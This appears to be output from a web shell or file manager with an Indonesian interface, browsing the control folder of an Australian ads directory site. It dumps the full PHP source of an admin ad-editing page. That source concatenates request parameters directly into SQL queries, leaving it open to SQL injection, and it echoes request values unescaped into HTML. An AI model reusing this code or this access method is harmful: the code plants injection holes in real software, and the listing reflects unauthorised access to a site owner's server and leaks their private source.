H69UNtblNBNpha2dtB1Odn8qYp1Qk5NK2gi7yfceofo9N
/
home
/
ymswebso
/
public_html
/
postads
/
control
/
Nama File / Folder
Size
Action
Wp
--
NONE
css
--
NONE
ddlevelsfiles
--
NONE
editor
--
NONE
images
--
NONE
includes
--
NONE
js
--
NONE
Thumbs.db
5.5KB
Hapus
Edit
Rename
ad_business_listing_search.php
19.885KB
Hapus
Edit
Rename
as-edit-main-image.php
1.42KB
Hapus
Edit
Rename
edit-ad_listing.php
24.004KB
Hapus
Edit
Rename
edit-city-process.php
1.946KB
Hapus
Edit
Rename
edit-city.php
5.485KB
Hapus
Edit
Rename
edit-featured_listing.php
22.988KB
Hapus
Edit
Rename
edit-list-silver-process.php
5.944KB
Hapus
Edit
Rename
edit-main-image.php
1.417KB
Hapus
Edit
Rename
edit-states-process.php
1.985KB
Hapus
Edit
Rename
edit-sub-category.php
6.637KB
Hapus
Edit
Rename
fckeditor_php4.php
6.037KB
Hapus
Edit
Rename
feature_ad_edit-process.php
4.382KB
Hapus
Edit
Rename
free_business_images.php
6.543KB
Hapus
Edit
Rename
gold_deal_update_process.php
2.608KB
Hapus
Edit
Rename
gold_sub_image_edit.php
1.733KB
Hapus
Edit
Rename
gold_video_process.php
1.171KB
Hapus
Edit
Rename
header.php
7.578KB
Hapus
Edit
Rename
index.php
4.549KB
Hapus
Edit
Rename
main-business-list.php
14.005KB
Hapus
Edit
Rename
main-delite_listing.php
0.502KB
Hapus
Edit
Rename
manage-city.php
5.684KB
Hapus
Edit
Rename
manage-expired-featured.php
18.887KB
Hapus
Edit
Rename
manage-users.php
14.106KB
Hapus
Edit
Rename
new_business-process.php
4.474KB
Hapus
Edit
Rename
news-letter-mail.php
2.75KB
Hapus
Edit
Rename
notfound.php
1.504KB
Hapus
Edit
Rename
send-customer-email-process.php
0.662KB
Hapus
Edit
Rename
send-customer-email.php
2.841KB
Hapus
Edit
Rename
set-expiry-admin.php
3.732KB
Hapus
Edit
Rename
showmaincategories-for-newgame.php
0.897KB
Hapus
Edit
Rename
showmaincategories.php
0.455KB
Hapus
Edit
Rename
silver_deal_process.php
1.005KB
Hapus
Edit
Rename
silver_deal_update_process.php
2.641KB
Hapus
Edit
Rename
silver_images_process.php
1.061KB
Hapus
Edit
Rename
video-upload-process.php
0.9KB
Hapus
Edit
Rename
<?php ob_start(); ?> <?php include("includes/session.php"); ?> <?php include("checkextension.php"); ?> <?php include("includes/login-verify.php"); ?> <?php include("includes/connection.php"); ?> <?php include("fckeditor.php"); ?> <?php $redirect_page=$_REQUEST['redirect_page']; $listing_id=$_REQUEST['id']; $result = mysql_query("select * from business_ads where listing_type = 'ad' and id = '".$_REQUEST['id']."'"); while($row = mysql_fetch_array($result)) { $id=$row['id']; $member_id=$row['member_id']; $ad_email=$row['ad_email']; if($ad_email=='') { $sql = mysql_fetch_assoc(mysql_query("SELECT email_id FROM member_info WHERE id = '".$$member_id."'")); $ad_email = $sql['email_id']; } $main_category_id=$row['main_category']; $sub_category_id=$row['sub_category']; $ad_title=$row['ad_title']; $ad_state_id = $row['state']; $add_title_output = str_replace(" ","-",strtolower($ad_title)); $ad_description =$row['description']; $ad_description_decoded=htmlspecialchars_decode($ad_description); $business_ad_image=$row['business_ad_image']; $ad_type=$row['ad_type']; $ad_price=$row['ad_price']; $ad_contact_name=$row['ad_contact_name']; $ad_street=$row['street_type']; $ad_main_category=$row['main_category']; $ad_phone_number=$row['ad_phone_number']; if($row['building_name']!="") { $building_name=$row['building_name']." "; } else { $building_name=""; } if($row['unit_level']!="") { $unit_level=$row['unit_level']." "; } else { $unit_level=""; } if($row['street_number']!="") { $street_number=$row['street_number']." "; } else { $street_number=""; } if($row['street_name']!="") { $street_name=$row['street_name']." "; } else { $street_name=""; } if($row['street_type']!="") { $street_type=$row['street_type']." "; } else { $street_type=""; } if($row['suberb']!="") { $suberb=$row['suberb']." "; } else { $suberb=""; } if($row['city']!="") { $city=$row['city']." "; $city_name_output = str_replace(" ","-",strtolower($row['city'])); } else { $city=""; $city_name_output=""; } /////////// fetching the state name //////////// $result_state = mysql_query("select * from states_australia where id = '".$row['state']."'"); while($row_state = mysql_fetch_array($result_state)) { $state_name=$row_state['name']; $state_code=$row_state['state_code']; } ////////////////////////////////////////////// if($row['state']!="") { $state=$state_code." "; } else { $state=""; } if($row['post_code']!="") { $post_code=$row['post_code']; } else { $post_code=""; } $full_address=$building_name.$unit_level.$street_number.$street_name.$street_type.$suberb.$city.$state.$post_code; $local_phone=$row['local_phone']; $national_phone=$row['national_phone']; $mobile_phone=$row['mobile_phone']; $fax_number=$row['fax_number']; if($row['preferred_contact_number']=="local_phone") { $preferred_contact_number=$local_phone; } elseif($row['preferred_contact_number']=="national_phone") { $preferred_contact_number=$national_phone; } elseif($row['preferred_contact_number']=="mobile_phone") { $preferred_contact_number=$mobile_phone; } } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Local Business Directory Australia - PostAds</title> <meta name="description" content="Your local business and ads directory in Australia. Find local businesses and ads online - everything from Trades and Building Construction to Pet Shops and Medical Centres and More. Get Quotes, Restaurant Reviews, Maps and Directions - PostAds." /> <meta name="keywords" content="postads, local, local search, local business, search, business listing, business directory, business directories, Australian, Australia, businesses, online business directory, online ads directory, post free ads, ad your business" /> <link href="/css/style.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="../js/my_ajax.js"></script> <script type="text/javascript" src="/js/jquery-1.7.2.min.js"></script> <script type="text/javascript" src="/js/selectbox.js"></script> <script language="JavaScript" src="/jsajax.js" type="text/javascript"></script> <script language="javascript"> function validateContact() { if(document.getElementById("business_ad_image").value != "") { var fname = document.getElementById("business_ad_image").value; var re = /(\.jpg|\.jpeg|\.gif|\.png)$/i; if(!re.exec(fname)) { alert("Please Upload jpg|gif|png Image File."); document.ad.business_ad_image.value=""; document.ad.business_ad_image.focus(); return false; } } } </script> </head> <body> <!--Header Starts--> <!--Header Ends--> <!--Container--> <div style="width:990px; margin:0 auto; padding-bottom:30px;"> <table width="990" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="left" style="height:19px; background-image:url(../images/main-box-top.png); background-repeat:no-repeat;"></td> </tr> <tr> <td align="center" style="background-image:url(../images/main-box-bg.png); background-repeat:repeat-y;"><table width="950" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td width="616" align="center" valign="top"><form action="ads-edit-process" method="post" enctype="multipart/form-data" name="ad" id="ad" onsubmit="return validateContact();"> <table width="616" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td align="left"><h1 class="h1colorBlack">Post your ad on PostAds for free</h1></td> </tr> <tr> <td align="left">Please do not post multiple ads for the same items or service. All duplicate, spam and wrongly categorized ads will be deleted. Continue below and add your details. <span class="message">* denotes are required item. </span></td> </tr> <tr> <td align="left"> </td> </tr> <tr> <td align="left" style="border:1px solid #CCCCCC; padding:5px;"><h4 class="h1color">Information about your Ad </h4> <input type="hidden" name="listing_id" id="listing_id" value="<?php echo $listing_id; ?>" /> <input type="hidden" name="redirect_page" id="redirect_page" value="<?php echo $redirect_page; ?>" /></td> </tr> <tr> <td align="left"> </td> </tr> <tr> <td align="left"><table width="610" border="0" cellspacing="0" cellpadding="6"> <tr> <td width="175" align="left"><strong>Ad Title </strong><span class="message">*</span></td> <td width="435" align="left"><input name="ad_title" value="<?php echo $ad_title; ?>" type="text" class="textbox1" id="ad_title" style="width:400px;" onFocus="this.className='textbox2'" onBlur="this.className='textbox1'" onClick="this.className='textbox2'" /></td> <tr> <td align="left"><strong>Ad Type </strong><span class="message"></span></td> <td align="left"><select name="ad_type" id="ad_type" class="textbox1" onclick="this.className='textbox2'" onBlur="this.className='textbox1'" onFocus="this.className='textbox2'"> <option value="Offering" selected="selected">Offering</option> <option value="Wanted">Wanted</option> <option value="For Sale">For Sale</option> <option value="Looking For">Looking For</option> </select></td> </tr> <tr> <td align="left"><strong>Price</strong></td> <td align="left"><input name="ad_price" value="<?php echo $ad_price; ?>" type="text" class="textbox1" id="ad_price" style="width:150px;" onFocus="this.className='textbox2'" onBlur="this.className='textbox1'" onClick="this.className='textbox2'" /></td> </tr> <tr> <td align="left" valign="top"><strong>Select Categories</strong><span class="message"> *</span></td> <td align="left"><table width="430" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="20" align="left" valign="top"><span style="color:#000000; font-weight:bold;">Main and Sub Categories </span></td> </tr> <tr> <td align="left"><!--<div style="width:430px; height:200px; overflow:auto; border:2px solid #B4B1AD; padding:6px; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px;">--> <table width="400" border="0" cellspacing="0" cellpadding="3"> <tr> <td><select name="category" id="category" onchange="showUser(this.value)"> <option value=''>Select Category</option> <?php $result_rootcategory = mysql_query("select * from business_ad_main_category where status = '1' order by title asc"); while($row_rootcategory = mysql_fetch_array($result_rootcategory)) { $business_ad_id=$row_rootcategory['id']; $business_ad_title=$row_rootcategory['title']; ?> <?php if($business_ad_id==$main_category_id) { ?> <option value='<?php echo $business_ad_id; ?>' selected='selected'><?php echo $business_ad_title; ?></option> <?php } else { ?> <option value='<?php echo $business_ad_id; ?>'><?php echo $business_ad_title; ?></option> <?php } ?> <?php } ?> </select></td> </tr> <tr> <td> </td> </tr> <tr> <td><div id="txtHint"></div> <div id="txtHide"> <?php $result_subcategory_ad = mysql_query("select * from business_ad_sub_category where main_id = '$main_category_id' and status = '1' order by title asc"); while($row_subcategory = mysql_fetch_array($result_subcategory_ad)) { $item=explode(',',$sub_category_id); ?> <div style="width:185px; float:left; clear:none;"> <table width="185" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="24" align="left" valign="top"><input type="checkbox" name="subcategory[]" id="subcategory" value="<?php echo $row_subcategory['id']; ?>" <?php if(in_array($row_subcategory['id'],$item)) echo "checked='checked'";?> style="border:none;" /></td> <td width="161" align="left" valign="top" class="maintext" style="font-size:12px; color:#000000;"><?php echo $row_subcategory['title']; ?></td> </tr> </table> </div> <?php } ?> </div></td> </tr> <tr> <td> </td> </tr> </table></td> </tr> </table></td> </tr> <tr> <td align="left" valign="top"><strong>Description</strong></td> <td align="left" valign="top"><?php $sBasePath = $_SERVER['PHP_SELF'] ; $sBasePath = substr( $sBasePath, 0, strpos( $sBasePath, "_samples" ) ) ; $oFCKeditor = new FCKeditor('description') ; $oFCKeditor->BasePath = $sBasePath ; $oFCKeditor->Height = 300 ; $oFCKeditor->Width = 446 ; $oFCKeditor->ToolbarSet = 'Basic' ; //$oFCKeditor->Value = '<p>This is some <strong>sample text</strong>. You are using <a href="http://www.fckeditor.net/">FCKeditor</a>.</p>' ; $oFCKeditor->Value = $ad_description_decoded ; $oFCKeditor->Create() ; ?> </td> </tr> <tr> <td align="left" valign="top"><strong> Address</strong></td> <td align="left" valign="top"><table width="430" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="20"><table width="400" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="211" height="20" align="left"><strong>Unit / Level</strong> - e.g. Unit 6</td> <td width="189" align="left"><strong>Street Number </strong></td> </tr> <tr> <td align="left"><input name="unit_level" type="text" value="<?php echo $unit_level; ?>" class="textbox1" id="unit_level" style="width:176px;" onFocus="this.className='textbox2'" onBlur="this.className='textbox1'" onClick="this.className='textbox2'" /></td> <td align="left"><input name="street_number" value="<?php echo $street_number; ?>" type="text" class="textbox1" id="street_number" style="width:146px;" onFocus="this.className='textbox2'" onBlur="this.className='textbox1'" onClick="this.className='textbox2'" /></td> </tr> <tr> <td align="left"> </td> <td align="left"> </td> </tr> <tr> <td height="20" align="left"><strong>Street Name/PO Box</strong></td> <td align="left"><strong>Street Type </strong></td> </tr> <tr> <td align="left"><input name="street_name" value="<?php echo $street_name; ?>" type="text" class="textbox1" id="street_name" style="width:176px;" onFocus="this.className='textbox2'" onBlur="this.className='textbox1'" onClick="this.className='textbox2'" /></td> <td align="left"><select name="street_type" id="street_type" class="textbox1" onclick="this.className='textbox2'" onBlur="this.className='textbox1'" onFocus="this.className='textbox2'"> <option value="" selected="selected">-- Select --</option> <?php $result = mysql_query("select * from attributes where name = 'street_type' and status = '1' order by value asc"); while($row = mysql_fetch_array($result)) { $attribute_value=$row['value']; $attribute_id=$row['id']; ?> <option value="<?php echo $attribute_id; ?>"<?php if($ad_street==$attribute_id) { ?> selected="selected"<?php } ?>><?php echo $attribute_value; ?></option> <?php } ?> </select></td> </tr> <tr> <td align="left"> </td> <td align="left"> </td> </tr> <tr> <td height="20" align="left"><strong>Suburb</strong></td> <td align="left"><strong>City</strong></td> </tr> <tr> <td align="left"><input name="suberb" value="<?php echo $suberb; ?>" type="text" class="textbox1" id="suberb" style="width:176px;" onFocus="this.className='textbox2'" onBlur="this.className='textbox1'" onClick="this.className='textbox2'" /></td> <td align="left"><input name="city" value="<?php echo $city; ?>" type="text" class="textbox1" id="city" style="width:146px;" onFocus="this.className='textbox2'" onBlur="this.className='textbox1'" onClick="this.className='textbox2'" /></td> </tr> <tr> <td align="left"> </td> <td align="left"> </td> </tr> <tr> <td height="20" align="left"><strong>State</strong></td> <td align="left"><strong>Post Code </strong></td> </tr> <tr> <td align="left"><select name="state" id="state" class="textbox1" onclick="this.className='textbox2'" onBlur="this.className='textbox1'" onFocus="this.className='textbox2'"> <option value="" selected="selected">-- Select --</option> <?php $result = mysql_query("select * from states_australia where status = '1' order by state_code asc"); while($row = mysql_fetch_array($result)) { $state_code=$row['state_code']; $state_id=$row['id']; ?> <option value="<?php echo $state_id; ?>"<?php if($ad_state_id==$state_id) { ?> selected="selected"<?php } ?>><?php echo $state_code; ?></option> <?php } ?> </select></td> <td align="left"><input name="post_code" value="<?php echo $post_code; ?>" type="text" class="textbox1" id="post_code" style="width:146px;" onFocus="this.className='textbox2'" onBlur="this.className='textbox1'" onClick="this.className='textbox2'" /></td> </tr> <tr> <td align="left"> </td> <td align="left"> </td> </tr> </table></td> </tr> </table></td> </tr> <tr> <td align="left"><strong>Display your address? </strong></td> <td align="left"><select name="address_display" id="address_display" class="textbox1" onclick="this.className='textbox2'" onBlur="this.className='textbox1'" onFocus="this.className='textbox2'"> <option value="Yes">Yes</option> <option value="No" selected="selected">No</option> </select></td> </tr> <tr> <td align="left"><strong>Email</strong><span class="message"> *</span></td> <td align="left"><input name="ad_email" type="text" class="textbox1" id="ad_email" style="width:350px;" onFocus="this.className='textbox2'" onBlur="this.className='textbox1'" onClick="this.className='textbox2'" value="<?php echo $ad_email; ?>" /></td> </tr> <tr> <td align="left"><strong>Contact Name </strong><span class="message"> *</span></td> <td align="left"><input name="ad_contact_name" value="<?php echo $ad_contact_name; ?>" type="text" class="textbox1" id="ad_contact_name" style="width:250px;" onFocus="this.className='textbox2'" onBlur="this.className='textbox1'" onClick="this.className='textbox2'" /></td> </tr> <tr> <td align="left"><strong>Phone Number </strong></td> <td align="left"><input name="ad_phone_number" value="<?php echo $preferred_contact_number; ?>" type="text" class="textbox1" id="ad_phone_number" style="width:200px;" onFocus="this.className='textbox2'" onBlur="this.className='textbox1'" onClick="this.className='textbox2'" /></td> </tr> <tr> <td align="left" valign="top"><strong>Primary Image </strong></td> <td align="left" valign="top"><input type="file" name="business_ad_image" id="business_ad_image" size="30" style="font-weight:bold;" class="textbox1" /></td> </tr> <tr> <td align="left" valign="top"></td> <td align="left" valign="top"><img src="/show_image?filename=imgs/<?php echo $business_ad_image; ?>&width=76&height=76" /></td> </tr> <tr> <td align="left" valign="top"> </td> <td align="left" valign="top"> </td> </tr> <tr> <td align="left" valign="top"> </td> <td align="left" valign="top"><input name="submit2" type="submit" class="submitButton" value="Update Your Ad" /></td> </tr> </table></td> </tr> </table> </form></td> <td width="15" valign="top"> </td> <td width="319" align="center" valign="top"> </td> </tr> </table></td> </tr> <tr> <td align="left" style="height:19px; background-image:url(../images/main-box-bottom.png); background-repeat:no-repeat;"></td> </tr> <tr> <td align="left"> </td> </tr> </table> </div> <!--Footer Starts--> <!--Footer Ends--> </body> </html>